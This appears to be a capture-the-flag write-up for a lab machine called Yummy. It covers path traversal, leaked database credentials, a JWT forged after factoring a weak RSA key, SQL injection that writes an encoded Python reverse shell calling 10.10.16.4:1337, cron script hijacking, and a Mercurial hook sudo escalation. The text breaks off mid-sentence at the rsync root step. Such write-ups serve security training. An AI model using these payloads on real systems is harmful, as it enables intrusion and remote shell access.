Yummy

Port Scan
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNb9gG2HwsjMe4EUwFdFE9H8NguzJkfCboW4CveSS+cr2846RitFyzx3a9t4X7S3xE3OgLnmgj8PtKCcOnVh8nQ=
| 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZKWYurAF2kFS4bHCSCBvsQ+55/NxhAtZGCykcOx9b6
80/tcp open http syn-ack ttl 63 Caddy httpd
| http-methods:
|_ Supported Methods: POST HEAD OPTIONS GET
|_http-favicon: Unknown favicon MD5: 0C6ECE85EA540E6ABEBA19B1436C17E2
|_http-title: Yummy
|_http-server-header: Caddy
An initial Nmap scan detects an SSH service running on port 22 and a nginx web server on port 80 .
To access the webapp lets add it to our /etc/hosts file
sudo echo "10.10.11.36 yummy.htb"| sudo tee -a /etc/hosts
Web App Enumeration
Visiting the website we find that it belongs to a restaurant named yummy.
I notice a register and login feature so i created an account.
There is also a Book A Table button so lets check it out

The page was a form that takes in some basic information so ijust fill this out. after confirming it says i can mange the appointment at our account, so i head to the Dashboard page

we get a download button labeled Save iCalendar. Clicking it triggers a request to:


Lets take a look at the request to understand what happens.
The page makes a request to /export/Yummy_reservation....
This immediately raises a question: is the export endpoint reading files from the server? Or does it look for files on the system. maybe it's vulnerable to path traversal ?

At first, simply repeating the /export
request fails with a 500 error. However, replaying both:
/reminder/<id>
Then
/export/<file>
in sequence using Burp Repeater → Grouped requests works.


Now trying the path traversal on the /etc/passwd
file and we actully got it. his indicates the server does not sanitize file paths correctly, allowing access to sensitive files.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
Let’s check the crontab using the same method to check for interesting entries:
And we actually find 3 files,
app_backup.sh
is just a file that is used in all boxes to reset it to default. but lets check the other files for information
/export/../../../../../../etc/crontab
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
/export/../../../../../data/scripts/dbmonitor.sh
we don't find anything important in the dbmonitor.sh file
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
[** SNIP **]
/export/../../../../../data/scripts/table_cleanup.sh
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
From /data/scripts/table_cleanup.sh
we find:
Username: chef
Password: 3wDo7gSRZIwIHRxZ!
DB: yummy_db
Reading the source code
Now, since we can read files on the system, why not read the website source code. But there's the problem of not knowing the file location, so let's try a little trick
we'll use /proc/self/cwd
This is a symbolic link that points to the current working directory of the process that accesses it.
So If you reference
/proc/self/cwd/app.py
, it resolves toapp.py
in the current working directory of the process. Which gives us the source code.
/export/../../../../proc/self/cwd/app.py
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib
app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
access_token = ''
@app.route('/login', methods=['GET','POST'])
def login():
global access_token
if request.method == 'GET':
return render_template('login.html', message=None)
elif request.method == 'POST':
email = request.json.get('email')
password = request.json.get('password')
password2 = hashlib.sha256(password.encode()).hexdigest()
if not email or not password:
return jsonify(message="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s AND password=%s"
cursor.execute(sql, (email, password2))
user = cursor.fetchone()
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
finally:
connection.close()
@app.route('/logout', methods=['GET'])
def logout():
response = make_response(redirect('/login'))
response.set_cookie('X-AUTH-Token', '')
return response
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html', message=None)
elif request.method == 'POST':
role_id = 'customer_' + secrets.token_hex(4)
email = request.json.get('email')
password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
if not email or not password:
return jsonify(error="email or password is missing"), 400
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s"
cursor.execute(sql, (email,))
existing_user = cursor.fetchone()
if existing_user:
return jsonify(error="Email already exists"), 400
else:
sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
cursor.execute(sql, (email, password, role_id))
connection.commit()
return jsonify(message="User registered successfully"), 201
finally:
connection.close()
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/book', methods=['GET', 'POST'])
def export():
if request.method == 'POST':
try:
name = request.form['name']
date = request.form['date']
time = request.form['time']
email = request.form['email']
num_people = request.form['people']
message = request.form['message']
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
connection.commit()
flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')
except Exception as e:
print(e)
return redirect('/#book-a-table')
except ValueError:
flash('Error processing your request. Please try again.', 'error')
return render_template('index.html')
def generate_ics_file(name, date, time, email, num_people, message):
global temp_dir
temp_dir = tempfile.mkdtemp()
current_date_time = datetime.now()
formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")
cal = Calendar()
event = Event()
event.name = name
event.begin = datetime.strptime(date, "%Y-%m-%d")
event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
cal.events.add(event)
temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
with open(temp_file_path, 'w') as fp:
fp.write(cal.serialize())
return os.path.basename(temp_file_path)
@app.route('/export/<path:filename>')
def export_file(filename):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
filepath = os.path.join(temp_dir, filename)
if os.path.exists(filepath):
content = send_file(filepath, as_attachment=True)
shutil.rmtree(temp_dir)
return content
else:
shutil.rmtree(temp_dir)
return "File not found", 404
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
return render_template('dashboard.html', appointments=appointments_sorted)
@app.route('/delete/<appointID>')
def delete_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments where appointment_id= %s;"
cursor.execute(sql, (appointID,))
connection.commit()
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("admindashboard"))
else:
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
cursor.execute(sql, (appointID, validation))
connection.commit()
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
finally:
connection.close()
flash("Reservation deleted successfully","success")
return redirect(url_for("dashboard"))
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/reminder/<appointID>')
def reminder_file(appointID):
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
result = cursor.execute(sql, (validation, appointID))
if result != 0:
connection.commit()
appointments = cursor.fetchone()
filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
connection.close()
flash("Reservation downloaded successfully","success")
return redirect(url_for('export_file', filename=filename))
else:
flash("Something went wrong!","error")
except:
flash("Something went wrong!","error")
return redirect(url_for("dashboard"))
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)
if __name__ == '__main__':
app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)
Now, this code is huge, so let's dissect it and see the most important parts.
The first thing that catches our eyes is that it imports signature.py
from /config
and
verfication.py
from /middleware
so these are 2 more files we need to check out.
Another interesting thing is the admin and verification methods.
So what we find is there's a page called /admindashboard
to access this page if first checks our cookie and look for the administrator
in the role header
. Also looking, I notice that it's vulnerable to SQL injection
(SQLI)
/export/../../proc/self/cwd/config/signature.py
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
We find that the prime q
is too small. This makes it trivial to factor n
and get the private key
/export/../../proc/self/cwd/config/signature.py
The pair of RSA keys are generated in the config/signature.py. The validation is done in the middleware/verification.py
from flask import request, jsonify
import jwt
from config import signature
def verify_token():
token = None
if "Cookie" in request.headers:
try:
token = request.headers["Cookie"].split(" ")[0].split("X-AUTHToken=")[1].replace(";", '')
except:
return jsonify(message="Authentication Token is missing"), 401
if not token:
return jsonify(message="Authentication Token is missing"), 401
try:
data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
current_role = data.get("role")
email = data.get("email")
if current_role is None or ("customer" not in current_role and
"administrator" not in current_role):
return jsonify(message="Invalid Authentication token"), 401
return (email, current_role), 200
except jwt.ExpiredSignatureError:
return jsonify(message="Token has expired"), 401
except jwt.InvalidTokenError:
return jsonify(message="Invalid token"), 401
except Exception as e:
return jsonify(error=str(e)), 500
The verify_token checks for X-AUTH-Token and then decodes the JWT token with the public key to retrieve the current_role as customer or administrator.
With this, we:
Extract
n
ande
from the tokenFactor
n
(usingRsaCtfTool
,)Forge an administrator token
So now our mission is to forge an admin cookie and go to the admin dashboard page.
to do this lets first install RsaCtfTool
apt install python3-virtualenv
virtualenv venv
source venv/bin/activate
pip install git+https://github.com/RsaCtfTool/RsaCtfTool
cd src
python3 main.py -n 62041895072436449792996095996664239387740131667871874539007195907228843879579660478870581309635737452588573725443795707971986528155953310137405975926408073707825561392582261471673882022463034818092063691368553575249385171413968198779517782685175220100364616298879878823865011223786035177303382302678569062908140127 -e 65537 --createpub
private argument is not set, the private key will not be displayed, even if recovered.
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwVEH39E4egXk97TVCSx129bOUNV
AgUTkQZC5sShdZ4yqL5wdruRigfPI2z1Mb8sTas3cdrVmCegHJ8caaUGwhP9D72p
f4ymA8ZGc+RXPZn70fH+IKjQp5ECx/HmiTtBkxcD0pkFqNpeNay0L4HNZ8qaVtUm
LaMqSQPTSGbS5bIP7ZpfAgMBAAE=
-----END PUBLIC KEY-----
python3 main.py -n 62041895072436449792996095996664239387740131667871874539007195907228843879579660478870581309635737452588573725443795707971986528155953310137405975926408073707825561392582261471673882022463034818092063691368553575249385171413968198779517782685175220100364616298879878823865011223786035177303382302678569062908140127 -e 65537 --private
['/tmp/tmp1jl8mqs8']
[*] Testing key /tmp/tmp1jl8mqs8.
attack initialized...
attack initialized...
[*] Performing mersenne_primes attack on /tmp/tmp1jl8mqs8.
27%|██████████████████▍ | 14/51 [00:00<00:00, 307435.90it/s]
[+] Time elapsed: 0.0088 sec.
[*] Performing nonRSA attack on /tmp/tmp1jl8mqs8.
[+] Time elapsed: 0.0012 sec.
[*] Performing fibonacci_gcd attack on /tmp/tmp1jl8mqs8.
100%|███████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 137024.60it/s]
[+] Time elapsed: 0.0736 sec.
[*] Performing smallq attack on /tmp/tmp1jl8mqs8.
[*] Attack success with smallq method !
[+] Total time elapsed min,max,avg: 0.0012/0.0736/0.0279 sec.
Results for /tmp/tmp1jl8mqs8:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICqAIBAAKBgwVEH39E4egXk97TVCSx129bOUNVAgUTkQZC5sShdZ4yqL5wdruR
igfPI2z1Mb8sTas3cdrVmCegHJ8caaUGwhP9D72pf4ymA8ZGc+RXPZn70fH+IKjQ
p5ECx/HmiTtBkxcD0pkFqNpeNay0L4HNZ8qaVtUmLaMqSQPTSGbS5bIP7ZpfAgMB
AAECgYMAuxuuINpBp2AzqYgULMwzLMc62v0EjdZMGNBJmuDbHadTmBilt7X5YnW6
DDBGxZ2yscBXwHcHN+0QLK0/LEKpx3Txe83u122zQA1qFCRYQtPBu6ZUIoMOBHjf
uQoxDuhmOAPuVoayKfvJ5aVupurdY+/0eI8KJlttm2BrF2nP2+iKgQKBgQCdwy7W
tZVcaaBPVjF/UJLidBUruPlxAmJPPIVvaGb2vnkLtpXuzgmhlwO7Z55D4u0yZYCF
xOqicHe4kobq82pzkL9rLMENtlXi8jDedCoTyFBl67IiP5qSKACBBd4lo2VxxrMw
ztggZH/9vWB3GsBrFlGV9FECSGseVDkF4i1geQIDCIuXAoGASznQ0czQJbqwGGSP
QZgYEicsGScgukRawFGphtAPmMSGT5GGuNJCQW0S+H+WNeS1GfzQZfjZsQ9T5wzn
jIz5S5XP0LkMbQ9usMKvjsNxdPFldNQIotAVUnAEnYFAxk29h50pwLJA2GFTrpho
sSJuciG4UXqoTiBeA55Beo64+HECAwZDnQKBgE+51ZaZsUCE838IPcDvzdb9GjmX
i+iU86xyc44pXPK3G+H8HB1rfKP6ZucykwM9dlJt7RdF5wOEQeLtE+QhwycR9beH
W1Mmn1/kRGS/JVMyK8wiuy7s1SJBg29lJwB/1iV+V2vv9OzuneDgeDu33LroaO3V
U1UUjO/d/YmiXWeF
-----END RSA PRIVATE KEY-----
This works because one of the primes (q
) used was too small
Now we forge a new token with role administrator
using the recovered private key:
python3 jwt_tool.py -pk pubkey -pr privkey -S rs256 -I -pc role -pv administrator <JWT token>
Use the new token as the X-AUTH-Token
cookie and access /admindashboard

From reviewing the source code, we know the admin panel accepts:
s=
→ Search queryo=
→ Sort order (ASC or DESC)
Adding a single qoute to the url resulted in this verbose error confirming SQLI
http://yummy.htb/admindashboard?s=&o=DESC'

We can use sqlmap to dump the database but this didnt reveal anyhting important.
sqlmap -r 'http://yummy.htb/admindashboard?S=test?O=ASC' --batch --level 5 --risk 3 --random-agent
Another thing we can do is to check for permissions.
sqlmap -r admindash.request -p o --privileges
[** SNIP **]
[11:18:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[11:18:28] [INFO] fetching database users privileges
[11:18:30] [INFO] retrieved: ''chef'@'localhost''
[11:18:30] [INFO] retrieved: 'FILE'
database management system users privileges:
[*] 'chef'@'localhost' [1]:
privilege: FILE
[** SNIP **]
The DB user has FILE permission which means we can write to files. so the next step should be to write a reverse shell and look for a way to run it.
Lets take a look back at the cronjobs files. Remember the dbmonitor.sh
that we ignored befor`e? lets take a close look at how it works
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\":
\"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service
is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null |
/usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null;
then
/usr/bin/echo "The database was down at $timestamp. Sending
notification."
/usr/bin/echo "$service was down at $timestamp but came back up." |
/usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix
it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null |
/usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
Basiclly this file runs every minute to check if the MYSQL service is working. If it is not active,
it sets a status and timestamp into a
dbstatus.json
file,sends a notification to root via email
then checks for the latest version of a
fixer-v*
script and runs the latest version with/bin/bash
.
Then it checks for dbstatus.json
file exists in the /data/scripts directory and grep the word database is down
sends and email to root saying the service is down.
Deletes the dbstatus.json file.
if If the dbstatus.json file exists but does not contain the phrase "database is down
Deletes the file.
Runs the latest fixer-v* script found in /data/scripts
If the MySQL service is running, the script simply logs that everything is okay
Since we have file write, we can manually create a dbstatus.json file containing any content that does NOT include "database is down." Once detected, the script will attempt to execute the latest fixer-v* script using /bin/bash . This allows us to introduce a malicious fixer-v2
http://yummy.htb/admindashboard?s=&o=DESC;select "echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn|base64 -d|bash" into outfile "/data/scripts/fixer-v2.sh";
Then write dbstatus.json
DESC;select "hi" into outfile "/data/scripts/dbstatus.json";
dont forget to run netcat
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.36] 36202
mysql@yummy:/var/spool/cron$ whoami
mysql
mysql@yummy:/var/spool/cron$ hostname
yummy
now you might see the shell is very unstable and extremly limited to upgrade it we can do the following
python3 -c "import pty;pty.spawn('/bin/bash')"
CTRL+Z
stty raw -echo; fg
export TERM=xterm
Shell as www-data
Lets look for other users that we can have shell
cat /etc/passwd | grep "sh$
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash
Lets look over to /data/scripts
mysql@yummy:/data/scripts$ ls -la
total 32
drwxrwxrwx 2 root root 4096 Oct 10 15:45 .
drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
-rw-r--r-- 1 root root 90 Sep 26 15:31 app_backup.sh
-rw-r--r-- 1 root root 1336 Sep 26 15:31 dbmonitor.sh
-rw-r----- 1 root root 60 Oct 10 15:45 fixer-v1.0.1.sh
-rw-r--r-- 1 root root 5570 Sep 26 15:31 sqlappointments.sql
-rw-r--r-- 1 root root 114 Sep 26 15:31 table_cleanup.sh
The app_backup.sh script runs every 2 minutes. We can't overwrite it as we don't have direct privileges, but because of the directory permissions, we can simply delete it and rewrite it with our own code.
rm app_backup.sh
rm: remove write-protected regular file 'app_backup.sh'? y
nano app_backup.sh
#!/bin/bash
echo
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn | base64 -d | bash
now lets run ncat again and wait for the task to be executed, then we should have a shell as www-data
nc -lnvp 1337
@yummy:/root$ whoami
www-data
again lets upgrade the shell we have using:
python3 -c "import pty;pty.spawn('/bin/bash')"
# Then press CTRL+Z to background the shell
CTRL+Z
stty raw -echo; fg
export TERM=xterm
Shell as qa
Now that we have higher permissions on the system lets further enumerate
In the /var/www directory, the app-qatesting
directory is shared between www-data
and qa
. which means we can access it
www-data@yummy:/var/www$ ls -la
total 6664
drwxr-xr-x 3 www-data www-data 4096 Feb 20 09:38 .
drwxr-xr-x 14 root root 4096 May 27 2024 ..
drwxrwx--- 7 www-data qa 4096 May 28 2024 app-qatesting
-rw-rw-r-- 1 www-data www-data 6807760 Feb 20 09:38 backupapp.zip
lrwxrwxrwx 1 root root 9 May 27 2024 .bash_history -> /dev/null
www-data@yummy:~/app-qatesting$ ls -la
total 40
drwxrwx--- 7 www-data qa 4096 Oct 8 00:43 .
drwxr-xr-x 3 www-data www-data 4096 Oct 10 15:54 ..
-rw-rw-r-- 1 qa qa 10852 May 28 14:37 app.py
drwxr-xr-x 3 qa qa 4096 May 28 14:26 config
drwxrwxr-x 6 qa qa 4096 May 28 14:37 .hg
drwxr-xr-x 3 qa qa 4096 May 28 14:26 middleware
drwxr-xr-x 6 qa qa 4096 May 28 14:26 static
drwxr-xr-x 2 qa qa 4096 May 28 14:26 templates
Using the hg log
command—similar to git log —we can view the commit history
hg log
changeset: 9:f3787cac6111
[** SNIP **]
hg diff -c 9:f3787cac6111
diff -r 0bbf8464d2d2 -r f3787cac6111 app.py
--- a/app.py Tue May 28 10:34:38 2024 -0400
+++ b/app.py Tue May 28 10:37:16 2024 -0400
@@ -19,8 +19,8 @@
db_config = {
'host': '127.0.0.1',
- 'user': 'qa',
- 'password': 'jPAd!XQCtn8Oc@2B',
+ 'user': 'chef',
+ 'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
[** SNIP **]
We discover commit 5:6c59496d5251
contains DB creds:
'user': 'qa'
'password': 'jPAd!XQCtn8Oc@2B'
Using these creds we can ssh:
ssh qa@yummy.htb
qa@yummy.htb's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
qa@yummy:~$ ls
user.txt
Shell as dev
sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
This means we can execute hg pull
as dev
.
At first glance, this doesn’t seem too dangerous, it’s just a version control operation using Mercurial (hg). But when you understand how Mercurial hooks work and how sudo handles file access, it becomes a powerful weapon.
What is hg pull?
hg pull
fetches new changesets from a remote Mercurial repository. If hooks are defined (e.g., changegroup
, pretxnchangegroup
, etc.), they get triggered automatically during certain stages of this pull.
Since we're running:
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
The pull is executed as the dev
user. And when hg pull
runs, it uses the Mercurial configuration (hgrc
) of the repository into which it's pulling. not the one it's pulling from.
So if we control the target repo (which we do), and we define a hook inside .hg/hgrc
, it will be executed as dev
when hg pull
is run.
Understand the Context:
We can’t modify
dev
’s~/.hgrc
→ no access.We can’t modify the source repo
/home/dev/app-production
→ it’s owned bydev
.But we can create our own repo in
/tmp/
, which is where the hook will run!
First lets create a test repo
mkdir /tmp/testing
cd /tmp/testing
hg init
Create a malicious hook script:
This script just spawns an interactive shell.
echo '#!/bin/bash' > script.sh
echo 'bash' >> script.sh
chmod +x script.sh
Add a Mercurial hook to execute the script:
We tell Mercurial to run this script during a changegroup
operation (i.e., pull):
echo -e "[hooks]\nchangegroup = /tmp/testing/script.sh" > .hg/hgrc
chmod 777 .hg # Ensure `dev` can read it
Now we are ready to execute the pull request
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
I'm out of office until June 3th, don't call me
dev@yummy:/tmp/testing$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)
We now have a shell as dev
Shell as root
After escalating to dev
, we ran:
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
The rsync is being used to copy the content of the production-ready app to /opt/app while excluding the .hg directory.
The vulnerability lies in the wildcard: *
Wildcards (*
